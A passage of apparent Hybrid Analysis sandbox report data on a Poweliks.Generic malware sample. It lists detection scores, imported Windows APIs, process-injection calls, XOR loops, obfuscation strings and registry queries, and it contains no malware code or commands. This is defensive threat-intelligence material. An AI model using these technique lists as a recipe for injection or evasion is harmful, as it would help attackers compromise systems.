24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 5e:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T49b,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Poweliks.Generic Sample e93ea2c9e689… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample e93ea2c9e689…. Malware family: Poweliks.Generic. Threat score 100/100. 17/25 AV engines flagged this file. 9 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289","keywords":["Malicious","Poweliks.Generic","malware analysis","sandbox report","threat intelligence","e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289"],"about":{"@type":"SoftwareApplication","name":"bounty-27681907275862456","applicationCategory":["peexe","executable"],"identifier":"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Poweliks.Generic","antivirusDetections":{"malicious":17,"total":25},"behavioralIndicators":{"malicious":9,"suspicious":15},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T1cfb,Found reference to API (Indicator: "GetFileAttributesA"; Source: "sample.bin"), Found reference to API (Indicator: "SetForegroundWindow"; Source: "sample.bin"), Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "sample.bin"), Found reference to API (Indicator: "GetLocaleInfoA"; Source: "sample.bin"), Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "sample.bin"), Found reference to API (Indicator: "GetClassInfoA"; Source: "sample.bin"), Found reference to API (Indicator: "PathAppendW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "RegDeleteKeyA"; Source: "sample.bin"), Found reference to API (Indicator: "GetKeyState"; Source: "sample.bin"), Found reference to API (Indicator: "GetMenuItemID"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryA"; Source: "sample.bin"), Found reference to API (Indicator: "lstrcatA"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleA"; Source: "sample.bin"), Found reference to API (Indicator: "RegQueryValueExW"; Source: "sample.bin"), Found reference to API (Indicator: "RegQueryValueExA"; Source: "sample.bin"), Found reference to API (Indicator: "SetMenuDefaultItem"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcessId"; Source: "sample.bin"), Found reference to API (Indicator: "RegSetValueExA"; Source: "sample.bin"), Found reference to API (Indicator: "RegOpenKeyExW"; Source: "sample.bin"), Found reference to API (Indicator: "RegOpenKeyExA"; Source: "sample.bin"), Found reference to API (Indicator: "GetStartupInfoA"; Source: "sample.bin"), Found reference to API (Indicator: "CharNextA"; Source: "sample.bin"), Found reference to API (Indicator: "SendMessageA"; Source: "sample.bin"), Found reference to API (Indicator: "CoTaskMemRealloc"; Source: "sample.bin"), Found reference to API (Indicator: "LoadMenuA"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteObject"; Source: "sample.bin"), Found reference to API (Indicator: "OutputDebugStringW"; Source: "sample.bin"), Found reference to API (Indicator: "OutputDebugStringA"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcAddress"; Source: "sample.bin"), Found reference to API (Indicator: "RaiseException"; Source: "sample.bin"), Found reference to API (Indicator: "CreateMutexA"; Source: "sample.bin"), Found reference to API (Indicator: "RegCloseKey"; Source: "sample.bin"), Found reference to API (Indicator: "LeaveCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "EnterCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "SizeofResource"; Source: "sample.bin"), Found reference to API (Indicator: "CoInitialize"; Source: "sample.bin"), Found reference to API (Indicator: "InterlockedExchange"; Source: "sample.bin"), Found reference to API (Indicator: "InternetGetConnectedState"; Source: "sample.bin"), Found reference to API (Indicator: "IsWindow"; Source: "sample.bin"), Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "sample.bin"), Found reference to API (Indicator: "UnhookWindowsHookEx"; Source: "sample.bin"), Found reference to API (Indicator: "GetTickCount"; Source: "sample.bin"), Found reference to API (Indicator: "lstrlenA"; Source: "sample.bin"), Found reference to API (Indicator: "lstrlenW"; Source: "sample.bin"), Found reference to API (Indicator: "CoTaskMemFree"; Source: "sample.bin"), Found reference to API (Indicator: "GetACP"; Source: "sample.bin"), Found reference to API (Indicator: "GetPrivateProfileStringW"; Source: "sample.bin"), Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "ExitProcess"; Source: "sample.bin"), Found reference to API (Indicator: "RegEnumKeyExA"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentThreadId"; Source: "sample.bin"), Found reference to API (Indicator: "MessageBoxA"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleFileNameA"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleFileNameW"; Source: "sample.bin"), Found reference to API (Indicator: "LocalFree"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryExA"; Source: "sample.bin"), Found reference to API (Indicator: "LoadIconA"; Source: "sample.bin"), Found reference to API (Indicator: "PostQuitMessage"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "sample.bin"), Found reference to API (Indicator: "RegDeleteValueA"; Source: "sample.bin"), Found reference to API (Indicator: "ShellExecuteA"; Source: "sample.bin"), Found reference to API (Indicator: "lstrcmpiA"; Source: "sample.bin"), Found reference to API (Indicator: "GetCursorPos"; Source: "sample.bin"), Found reference to API (Indicator: "InterlockedDecrement"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemPowerStatus"; Source: "sample.bin"), Found reference to API (Indicator: "lstrcpynA"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "CoCreateInstance"; Source: "sample.bin"), Found reference to API (Indicator: "GetThreadLocale"; Source: "sample.bin"), Found reference to API (Indicator: "StringFromGUID2"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowsHookExA"; Source: "sample.bin"), Found reference to API (Indicator: "EnableWindow"; Source: "sample.bin"), Found reference to API (Indicator: "GetVersionExA"; Source: "sample.bin"), Found reference to API (Indicator: "LocalAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "RegisterWindowMessageA"; Source: "sample.bin"), Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "sample.bin"), Found reference to API (Indicator: "GetCommandLineA"; Source: "sample.bin"), Found reference to API (Indicator: "GetSubMenu"; Source: "sample.bin"), Found reference to API (Indicator: "LoadResource"; Source: "sample.bin"), Found reference to API (Indicator: "PostMessageA"; Source: "sample.bin"), Found reference to API (Indicator: "SetTimer"; Source: "sample.bin"), Found reference to API (Indicator: "FreeLibrary"; Source: "sample.bin"), Found reference to API (Indicator: "RegCreateKeyExA"; Source: "sample.bin"), Found reference to API (Indicator: "TrackPopupMenu"; Source: "sample.bin"), Found reference to API (Indicator: "lstrcpyA"; Source: "sample.bin"), Found reference to API (Indicator: "GetVersion"; Source: "sample.bin"), Found reference to API (Indicator: "CoUninitialize"; Source: "sample.bin"), Found reference to API (Indicator: "GetLastError"; Source: "sample.bin"), Found reference to API (Indicator: "InterlockedIncrement"; Source: "sample.bin"), Found reference to API (Indicator: "CallNextHookEx"; Source: "sample.bin"), Found reference to API (Indicator: "KillTimer"; Source: "sample.bin"), Found reference to API (Indicator: "CloseHandle"; Source: "sample.bin"), Found reference to API (Indicator: "FindResourceA"; Source: "sample.bin")26:T13ac,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005460.00000001.86338.00C81000.00000020.mdmp") Found reference to API "NtCreateThreadEx" (Indicator: "CreateThread"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "WTSFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "ZwWriteVirtualMemory" (Indicator: "WriteVirtualMemory"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "ZwWriteVirtualMemory" (Indicator: "ZwWriteVirtualMemory"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "ZwMapViewOfSection" (Indicator: "ZwMapViewOfSection"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp")27:T952,Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp")28:T4ac,Found reference to API "NtCreateThreadEx" (Indicator: "NtCreateThread"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp")29:T557,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp")2a:Tc44,"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\MONTEVIDEO STANDARD TIME") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\MONTEVIDEO STANDARD TIME\DYNAMIC DST") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\MOROCCO STANDARD TIME") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\MOROCCO STANDARD TIME\DYNAMIC DST") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\MOROCCO STANDARD TIME") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\MOROCCO STANDARD TIME\DYNAMIC DST") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\MOUNTAIN STANDARD TIME") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\MOUNTAIN STANDARD TIME\DYNAMIC DST") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\MOUNTAIN STANDARD TIME") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\MOUNTAIN STANDARD TIME\DYNAMIC DST") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\MOUNTAIN STANDARD TIME (MEXICO)"), "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\MOUNTAIN STANDARD TIME (MEXICO)\DYNAMIC DST"), "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\MYANMAR STANDARD TIME"), "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\MYANMAR STANDARD TIME\DYNAMIC DST"), "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\N. CENTRAL ASIA STANDARD TIME"), "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\N. CENTRAL ASIA STANDARD TIME\DYNAMIC DST")2b:T741,Found reference to API "+=String.fromCharCode(parseInt(" (Indicator: "fromcharcode"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "+=String.fromCharCode(" (Indicator: "fromcharcode"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") file/memory contains long string with (Indicator: "fromcharcode"; Source: "00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp") file/memory contains long string with (Indicator: "fromcharcode"; Source: "00000000-00005644.00000001.78962.01788000.00000004.mdmp") file/memory contains long string with (Indicator: "fromcharcode"; Source: "00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000003.86403.01788000.00000004.mdmp") file/memory contains long string with (Indicator: "fromcharcode"; Source: "00000000-00005644.00000003.86403.00150000.00000004.mdmp")2c:T65f,Assembly shows XOR instruction xor esi eax in Stream UID: 19819-504-00407C8D Assembly shows XOR instruction xor dword ptr [esp+04h] edi in Stream UID: 19819-535-00406DA4 Assembly shows XOR instruction xor dword ptr [esp] eax in Stream UID: 19819-569-0040FE10 Assembly shows XOR instruction xor dword ptr [esp+04h] edx in Stream UID: 19819-581-0040EA20 Assembly shows XOR instruction xor dword ptr [esp] eax in Stream UID: 19819-587-004038E2 Assembly shows XOR instruction xor eax edx in Stream UID: 19819-600-0040DAB0 Assembly shows XOR instruction xor dword ptr [eax+24h] ecx in Stream UID: 19819-619-0040C2D0 Assembly shows XOR instruction xor dword ptr [esp] eax in Stream UID: 19819-661-00409A91 Assembly shows XOR instruction xor dword ptr [esp] eax in Stream UID: 19819-680-00408140 Assembly shows XOR instruction xor dword ptr [eax+38h] ecx in Stream UID: 19819-681-00407D20 Assembly shows XOR instruction xor ecx 8945070Dh in Stream UID: 19819-687-00407460 Assembly shows XOR instruction xor dword ptr [esp] eax in Stream UID: 19819-709-004058F0 Assembly shows XOR instruction xor dword ptr [esp] eax in Stream UID: 19819-723-00404A70 Assembly shows XOR instruction xor dword ptr [esp+04h] edi in Stream UID: 19819-726-0040EDDA Assembly shows XOR instruction xor dword ptr [eax+34h] ecx in Stream UID: 19819-778-00401AB9 Assembly shows XOR instruction xor edi esi in Stream UID: 19819-856-0040A7B0 Assembly shows XOR instruction xor dword ptr [eax+10h] ecx in Stream UID: 19819-986-0040DB2F Assembly shows XOR instruction xor byte ptr [eax-67A7FFFBh] bl in Stream UID: 19819-2692-004099132d:T4c4,Found XOR loop in file "DISMHOST.EXE.6DC1D0A6.bin" at offset 76665; code bytes = 30d0 Found XOR loop in file "DISMHOST.EXE.6DC1D0A6.bin" at offset 77648; code bytes = 8030 Found XOR loop in file "DISMHOST.EXE.6DC1D0A6.bin" at offset 77788; code bytes = 8030 Found XOR loop in file "DISMHOST.EXE.6DC1D0A6.bin" at offset 78978; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 174588; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 218429; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 281807; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 298334; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 326775; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 329522; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 340413; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 10478; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 74098; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 285671; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 167069; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 289005; code bytes = 80302e:T406,Found reference to API "ZwQuerySystemInformation" (Indicator: "ZwQuerySystemInformation"; Source: "00000000-00005644-00000C2C-216242859") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00003404-00000C2C-305066349") Found reference to API "NtQuerySystemInformationW" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00003404-00000C2C-307696517") Found reference to API "ZwQuerySystemInformation" (Indicator: "ZwQuerySystemInformation"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp")2f:T629,Found reference to API "WTSFreeMemory" (Indicator: "WTSFreeMemory"; Source: "00000000-00005644-00000C2C-214026388") Found reference to API "WTSEnumerateSessionsA" (Indicator: "WTSEnumerateSessions"; Source: "00000000-00005644-00000C2C-214188340") Found reference to API "ProcessIdToSessionId" (Indicator: "ProcessIdToSessionId"; Source: "00000000-00003404-00000C2C-306281468") Found reference to API "WTSFreeMemory" (Indicator: "WTSFreeMemory"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "WTSEnumerateSessionsA" (Indicator: "WTSEnumerateSessions"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp")30:T4b8,Found reference to API 